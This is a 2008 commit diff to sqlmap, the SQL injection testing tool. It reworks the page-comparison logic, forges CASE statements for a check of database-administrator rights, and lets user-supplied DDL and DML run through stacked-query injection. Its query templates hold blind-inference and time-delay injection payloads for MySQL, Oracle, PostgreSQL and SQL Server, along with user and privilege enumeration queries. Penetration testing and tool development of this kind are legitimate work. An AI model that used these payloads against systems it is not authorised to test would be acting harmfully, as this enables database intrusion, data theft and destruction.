Ahead with the improvements to the comparison algorithm.

Added support internally to forge CASE statements, used only by
--is-dba query at the moment.
Allow DDL, DML (INSERT, UPDATE, etc.) from user in SQL query and
SQL shell.
Minor code adjustments.
This commit is contained in:
Bernardo Damele 2008-12-19 20:09:46 +00:00
parent 68354be45a
commit ad228e6947
11 changed files with 132 additions and 66 deletions

View File

@ -1,7 +1,11 @@
sqlmap (0.6.4-1) stable; urgency=low sqlmap (0.6.4-1) stable; urgency=low
* Major improvement to the comparison algorithm to make it work also if
the page content changes at each refresh; (work in progress)
* Minor enhancement to support an option (--is-dba) to show if the * Minor enhancement to support an option (--is-dba) to show if the
current user is a database management system administrator; current user is a database management system administrator;
* Added support internally to forge CASE statements, used only by
--is-dba query at the moment;
* Major bug fix to avoid tracebacks when multiple targets are specified * Major bug fix to avoid tracebacks when multiple targets are specified
and one of them is not reachable; and one of them is not reachable;
* Minor bug fix to make the --postfix work even if --prefix is not * Minor bug fix to make the --postfix work even if --prefix is not

View File

@ -306,30 +306,26 @@ def checkStability():
condition &= secondPage == thirdPage condition &= secondPage == thirdPage
if condition == False: if condition == False:
# Prepare for the comparison algorithm based on Content-Length # Prepare for the comparison algorithm based on page length value
# header value pageLengths = []
contentLengths = [] requestsPages = ( firstPage, secondPage, thirdPage )
requestsHeaders = ( firstHeaders, secondHeaders, thirdHeaders )
for requestHeaders in requestsHeaders: for requestPages in requestsPages:
requestHeaders = str(requestHeaders).lower() pageLengths.append(len(str(requestPages)))
clHeader = re.search("content-length:\s+([\d]+)", requestHeaders, re.I | re.M) if pageLengths:
conf.pageLengths = ( min(pageLengths) - ( ( min(pageLengths) * 2 ) / 100 ),
max(pageLengths) + ( ( max(pageLengths) * 2 ) / 100 ) )
if clHeader and clHeader.group(1).isdigit(): if conf.pageLengths[0] < conf.pageLengths[1]:
contentLengths.append(int(clHeader.group(1))) warnMsg = "url is not stable, sqlmap inspected the page "
warnMsg += "and identified that page length can be used "
warnMsg += "in the comparison algorithm"
logger.warn(warnMsg)
if contentLengths: kb.defaultResult = True
conf.contentLengths = ( min(contentLengths), max(contentLengths) )
warnMsg = "url is not stable, sqlmap inspected the headers " return True
warnMsg += "and identified that Content-Length can be used "
warnMsg += "in the comparison algorithm"
logger.warn(warnMsg)
kb.defaultResult = True
return True
# Prepare for the comparison algorithm based on page content's # Prepare for the comparison algorithm based on page content's
# stable lines subset # stable lines subset

View File

@ -468,5 +468,25 @@ class Agent:
return limitedQuery return limitedQuery
def forgeCaseStatement(self, expression):
"""
Take in input a query string and return its CASE statement query
string.
Example:
Input: (SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'
Output: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y') THEN 1 ELSE 0 END)
@param expression: expression to be processed
@type num: C{str}
@return: processed expression
@rtype: C{str}
"""
return queries[kb.dbms].case % expression
# SQL agent # SQL agent
agent = Agent() agent = Agent()

View File

@ -40,6 +40,7 @@ from lib.core.data import logger
from lib.core.data import temp from lib.core.data import temp
from lib.core.exception import sqlmapFilePathException from lib.core.exception import sqlmapFilePathException
from lib.core.data import paths from lib.core.data import paths
from lib.core.settings import SQL_STATEMENTS
from lib.core.settings import VERSION_STRING from lib.core.settings import VERSION_STRING
@ -493,39 +494,11 @@ def parsePasswordHash(password):
def cleanQuery(query): def cleanQuery(query):
# SQL SELECT statement upperQuery = query
upperQuery = query.replace("select ", "SELECT ")
upperQuery = upperQuery.replace(" from ", " FROM ")
upperQuery = upperQuery.replace(" where ", " WHERE ")
upperQuery = upperQuery.replace(" group by ", " GROUP BY ")
upperQuery = upperQuery.replace(" order by ", " ORDER BY ")
upperQuery = upperQuery.replace(" having ", " HAVING ")
upperQuery = upperQuery.replace(" limit ", " LIMIT ")
upperQuery = upperQuery.replace(" offset ", " OFFSET ")
upperQuery = upperQuery.replace(" union all ", " UNION ALL ")
upperQuery = upperQuery.replace(" rownum ", " ROWNUM ")
# SQL data definition for sqlStatements in SQL_STATEMENTS.values():
upperQuery = upperQuery.replace(" create ", " CREATE ") for sqlStatement in sqlStatements:
upperQuery = upperQuery.replace(" drop ", " DROP ") upperQuery = upperQuery.replace(sqlStatement, sqlStatement.upper())
upperQuery = upperQuery.replace(" truncate ", " TRUNCATE ")
upperQuery = upperQuery.replace(" alter ", " ALTER ")
# SQL data manipulation
upperQuery = upperQuery.replace(" insert ", " INSERT ")
upperQuery = upperQuery.replace(" update ", " UPDATE ")
upperQuery = upperQuery.replace(" delete ", " DELETE ")
upperQuery = upperQuery.replace(" merge ", " MERGE ")
# SQL data control
upperQuery = upperQuery.replace(" grant ", " GRANT ")
# SQL transaction control
upperQuery = upperQuery.replace(" start transaction ", " START TRANSACTION ")
upperQuery = upperQuery.replace(" begin work ", " BEGIN WORK ")
upperQuery = upperQuery.replace(" begin transaction ", " BEGIN TRANSACTION ")
upperQuery = upperQuery.replace(" commit ", " COMMIT ")
upperQuery = upperQuery.replace(" rollback ", " ROLLBACK ")
return upperQuery return upperQuery

View File

@ -570,7 +570,7 @@ def __setConfAttributes():
logger.debug(debugMsg) logger.debug(debugMsg)
conf.cj = None conf.cj = None
conf.contentLengths = [] conf.pageLengths = []
conf.dbmsHandler = None conf.dbmsHandler = None
conf.dumpPath = None conf.dumpPath = None
conf.equalLines = [] conf.equalLines = []

View File

@ -68,3 +68,44 @@ SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIAS
# TODO: port to command line/configuration file options? # TODO: port to command line/configuration file options?
SECONDS = 5 SECONDS = 5
RETRIES = 3 RETRIES = 3
SQL_STATEMENTS = {
"SQL SELECT statement": (
"select ",
" from ",
" where ",
" group by ",
" order by ",
" having ",
" limit ",
" offset ",
" union all ",
" rownum ",
),
"SQL data definition": (
"create ",
"drop ",
"truncate ",
"alter ",
),
"SQL data manipulation": (
"insert ",
"update ",
"delete ",
"merge ",
),
"SQL data control": (
"grant ",
),
"SQL transaction": (
"start transaction ",
"begin work ",
"begin transaction ",
"commit ",
"rollback ",
),
}

View File

@ -107,6 +107,10 @@ class queriesHandler(ContentHandler):
data = sanitizeStr(attrs.get("query")) data = sanitizeStr(attrs.get("query"))
self.__queries.substring = data self.__queries.substring = data
elif name == "case":
data = sanitizeStr(attrs.get("query"))
self.__queries.case = data
elif name == "inference": elif name == "inference":
data = sanitizeStr(attrs.get("query")) data = sanitizeStr(attrs.get("query"))
self.__queries.inference = data self.__queries.inference = data

View File

@ -68,15 +68,13 @@ def comparison(page, headers=None, content=False):
return False return False
# By default it returns the page content MD5 hash # By default it returns the page content MD5 hash
if not conf.equalLines and not conf.contentLengths: if not conf.equalLines and not conf.pageLengths:
return md5.new(page).hexdigest() return md5.new(page).hexdigest()
# TODO: go ahead from here # Comparison algorithm based on page length value
elif conf.pageLengths:
# Comparison algorithm based on Content-Length header value minValue = conf.pageLengths[0]
elif conf.contentLengths: maxValue = conf.pageLengths[1]
minValue = conf.contentLengths[0] - 10
maxValue = conf.contentLengths[1] + 10
if len(page) >= minValue and len(page) <= maxValue: if len(page) >= minValue and len(page) <= maxValue:
return True return True

View File

@ -336,6 +336,8 @@ def goStacked(expression):
TODO: write description TODO: write description
""" """
expression = cleanQuery(expression)
comment = queries[kb.dbms].comment comment = queries[kb.dbms].comment
query = agent.prefixQuery("; %s" % expression) query = agent.prefixQuery("; %s" % expression)
query = agent.postfixQuery("%s;%s" % (query, comment)) query = agent.postfixQuery("%s;%s" % (query, comment))

View File

@ -39,6 +39,7 @@ from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapNoneDataException from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUndefinedMethod from lib.core.exception import sqlmapUndefinedMethod
from lib.core.exception import sqlmapUnsupportedFeatureException from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.settings import SQL_STATEMENTS
from lib.core.shell import autoCompletion from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.parse.banner import bannerParser from lib.parse.banner import bannerParser
@ -120,7 +121,7 @@ class Enumeration:
infoMsg = "testing if current user is DBA" infoMsg = "testing if current user is DBA"
logger.info(infoMsg) logger.info(infoMsg)
query = queries[kb.dbms].isDba query = agent.forgeCaseStatement(queries[kb.dbms].isDba)
self.isDba = inject.getValue(query) self.isDba = inject.getValue(query)
@ -1038,10 +1039,33 @@ class Enumeration:
def sqlQuery(self, query): def sqlQuery(self, query):
infoMsg = "fetching SQL SELECT query output: '%s'" % query output = None
selectQuery = False
sqlType = None
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
for sqlStatement in sqlStatements:
if query.lower().startswith(sqlStatement):
sqlType = sqlTitle
if sqlTitle == "SQL SELECT statement":
selectQuery = True
break
if sqlType:
infoMsg = "fetching %s query output: '%s'" % (sqlType, query)
else:
infoMsg = "fetching SQL query output: '%s'" % query
logger.info(infoMsg) logger.info(infoMsg)
output = inject.getValue(query, fromUser=True) if selectQuery == False:
# TODO: test if stacked queries are supported by the web
# application before injecting
inject.goStacked(query)
else:
output = inject.getValue(query, fromUser=True)
if output == "Quit": if output == "Quit":
return None return None

View File

@ -23,11 +23,12 @@
--> -->
<timedelay query="SLEEP(%d)" query2="SELECT BENCHMARK(1000000, MD5('%d'))"/> <timedelay query="SLEEP(%d)" query2="SELECT BENCHMARK(1000000, MD5('%d'))"/>
<substring query="MID((%s), %d, %d)"/> <substring query="MID((%s), %d, %d)"/>
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
<inference query="AND ORD(MID((%s), %d, 1)) > %d"/> <inference query="AND ORD(MID((%s), %d, 1)) > %d"/>
<banner query="VERSION()"/> <banner query="VERSION()"/>
<current_user query="CURRENT_USER()"/> <current_user query="CURRENT_USER()"/>
<current_db query="DATABASE()"/> <current_db query="DATABASE()"/>
<is_dba query="SELECT (CASE WHEN super_priv='Y' THEN 1 ELSE 0 END) FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1" query2="SELECT IF((SELECT privilege_type FROM information_schema.USER_PRIVILEGES WHERE grantee LIKE '%s' AND privilege_type='SUPER' LIMIT 0, 1)='SUPER', 1, 0)"/> <is_dba query="(SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'"/>
<users> <users>
<inband query="SELECT grantee FROM information_schema.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/> <inband query="SELECT grantee FROM information_schema.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/>
<blind query="SELECT DISTINCT(grantee) FROM information_schema.USER_PRIVILEGES LIMIT %d, 1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d, 1" count="SELECT COUNT(DISTINCT(grantee)) FROM information_schema.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/> <blind query="SELECT DISTINCT(grantee) FROM information_schema.USER_PRIVILEGES LIMIT %d, 1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d, 1" count="SELECT COUNT(DISTINCT(grantee)) FROM information_schema.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/>
@ -74,11 +75,12 @@
<comment query="--"/> <comment query="--"/>
<timedelay query="BEGIN DBMS_LOCK.SLEEP(%d); END" query2="EXEC DBMS_LOCK.SLEEP(%d.00)" query3="EXEC USER_LOCK.SLEEP(%d00)"/> <timedelay query="BEGIN DBMS_LOCK.SLEEP(%d); END" query2="EXEC DBMS_LOCK.SLEEP(%d.00)" query3="EXEC USER_LOCK.SLEEP(%d00)"/>
<substring query="SUBSTR((%s), %d, %d)"/> <substring query="SUBSTR((%s), %d, %d)"/>
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END) FROM DUAL"/>
<inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/> <inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/>
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/> <banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
<current_user query="SELECT SYS.LOGIN_USER FROM DUAL"/> <current_user query="SELECT SYS.LOGIN_USER FROM DUAL"/>
<current_db query="SELECT SYS.DATABASE_NAME FROM DUAL"/> <current_db query="SELECT SYS.DATABASE_NAME FROM DUAL"/>
<is_dba query="SELECT CASE WHEN ((SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER AND GRANTED_ROLE='DBA')='DBA') THEN 1 ELSE 0 END FROM DUAL"/> <is_dba query="(SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER AND GRANTED_ROLE='DBA')='DBA'"/>
<users> <users>
<inband query="SELECT USERNAME FROM SYS.ALL_USERS"/> <inband query="SELECT USERNAME FROM SYS.ALL_USERS"/>
<blind query="SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS limit FROM SYS.ALL_USERS) WHERE limit=%d" count="SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS"/> <blind query="SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS limit FROM SYS.ALL_USERS) WHERE limit=%d" count="SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS"/>
@ -124,11 +126,12 @@
<comment query="--" query2="/*"/> <comment query="--" query2="/*"/>
<timedelay query="SELECT pg_sleep(%d)" query2="CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(%d)"/> <timedelay query="SELECT pg_sleep(%d)" query2="CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(%d)"/>
<substring query="SUBSTR((%s)::text, %d, %d)"/> <substring query="SUBSTR((%s)::text, %d, %d)"/>
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
<inference query="AND ASCII(SUBSTR((%s)::text, %d, 1)) > %d"/> <inference query="AND ASCII(SUBSTR((%s)::text, %d, 1)) > %d"/>
<banner query="VERSION()"/> <banner query="VERSION()"/>
<current_user query="CURRENT_USER"/> <current_user query="CURRENT_USER"/>
<current_db query="CURRENT_DATABASE()"/> <current_db query="CURRENT_DATABASE()"/>
<is_dba query="SELECT (CASE WHEN usesuper=true THEN 1 ELSE 0 END) FROM pg_user WHERE usename=CURRENT_USER OFFSET 0 LIMIT 1"/> <is_dba query="(SELECT usesuper=true FROM pg_user WHERE usename=CURRENT_USER OFFSET 0 LIMIT 1)='true'"/>
<users> <users>
<inband query="SELECT usename FROM pg_user"/> <inband query="SELECT usename FROM pg_user"/>
<blind query="SELECT DISTINCT(usename) FROM pg_user OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/> <blind query="SELECT DISTINCT(usename) FROM pg_user OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>
@ -175,11 +178,12 @@
<comment query="--" query2="/*"/> <comment query="--" query2="/*"/>
<timedelay query="WAITFOR DELAY '0:0:%d'"/> <timedelay query="WAITFOR DELAY '0:0:%d'"/>
<substring query="SUBSTRING((%s), %d, %d)"/> <substring query="SUBSTRING((%s), %d, %d)"/>
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
<inference query="AND ASCII(SUBSTRING((%s), %d, 1)) > %d"/> <inference query="AND ASCII(SUBSTRING((%s), %d, 1)) > %d"/>
<banner query="@@VERSION"/> <banner query="@@VERSION"/>
<current_user query="SYSTEM_USER"/> <current_user query="SYSTEM_USER"/>
<current_db query="DB_NAME()"/> <current_db query="DB_NAME()"/>
<is_dba query="SELECT (CASE WHEN is_srvrolemember('sysadmin')=1 THEN 1 ELSE 0 END)"/> <is_dba query="IS_SRVROLEMEMBER('sysadmin')=1"/>
<users> <users>
<inband query="SELECT name FROM master..syslogins" query2="SELECT name FROM sys.sql_logins"/> <inband query="SELECT name FROM master..syslogins" query2="SELECT name FROM sys.sql_logins"/>
<blind query="SELECT TOP 1 name FROM master..syslogins WHERE name NOT IN (SELECT TOP %d name FROM master..syslogins)" query2="SELECT TOP 1 name FROM sys.sql_logins WHERE name NOT IN (SELECT TOP %d name FROM sys.sql_logins)" count="SELECT LTRIM(STR(COUNT(name))) FROM master..syslogins" count2="SELECT LTRIM(STR(COUNT(name))) FROM sys.sql_logins"/> <blind query="SELECT TOP 1 name FROM master..syslogins WHERE name NOT IN (SELECT TOP %d name FROM master..syslogins)" query2="SELECT TOP 1 name FROM sys.sql_logins WHERE name NOT IN (SELECT TOP %d name FROM sys.sql_logins)" count="SELECT LTRIM(STR(COUNT(name))) FROM master..syslogins" count2="SELECT LTRIM(STR(COUNT(name))) FROM sys.sql_logins"/>